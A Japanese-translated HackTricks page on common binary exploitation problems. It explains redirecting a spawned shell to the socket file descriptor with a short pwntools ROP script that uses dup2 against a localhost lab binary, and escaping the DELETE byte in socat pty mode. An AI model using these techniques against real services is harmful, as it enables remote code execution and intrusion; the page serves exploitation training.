hacktricks/binary-exploitation/common-exploiting-problems.md

4.5 KiB
Raw Blame History

一般的な攻撃問題

htARTEHackTricks AWS Red Team Expert を通じて、ゼロからヒーローまでAWSハッキングを学ぶ

リモートエクスプロイテーションにおけるFDs

たとえば、リモートサーバーに**system('/bin/sh')**を呼び出すエクスプロイトを送信すると、これはもちろんサーバープロセスで実行され、/bin/shはstdinFD0からの入力を期待し、stdoutおよびstderrFDs 1および2)に出力を表示します。したがって、攻撃者はシェルと対話することができません。

これを修正する方法は、サーバーが起動したときにFD番号3(リスニング用)を作成し、その後、接続が**FD番号4**になると仮定することです。したがって、シェルに連絡を取ることが可能になります。

ここからのエクスプロイト例

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

socatは既に**stdinstdoutをソケットに転送しています。ただし、ptyモードにはDELETE文字が含まれています**。したがって、\x7fDELETE -)を送信すると、エクスプロイトの前の文字が削除されます。

これをバイパスするには、\x7fを送信する前にエスケープ文字\x16を付加する必要があります

ここではこの動作の例を見つけることができます

htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ こちら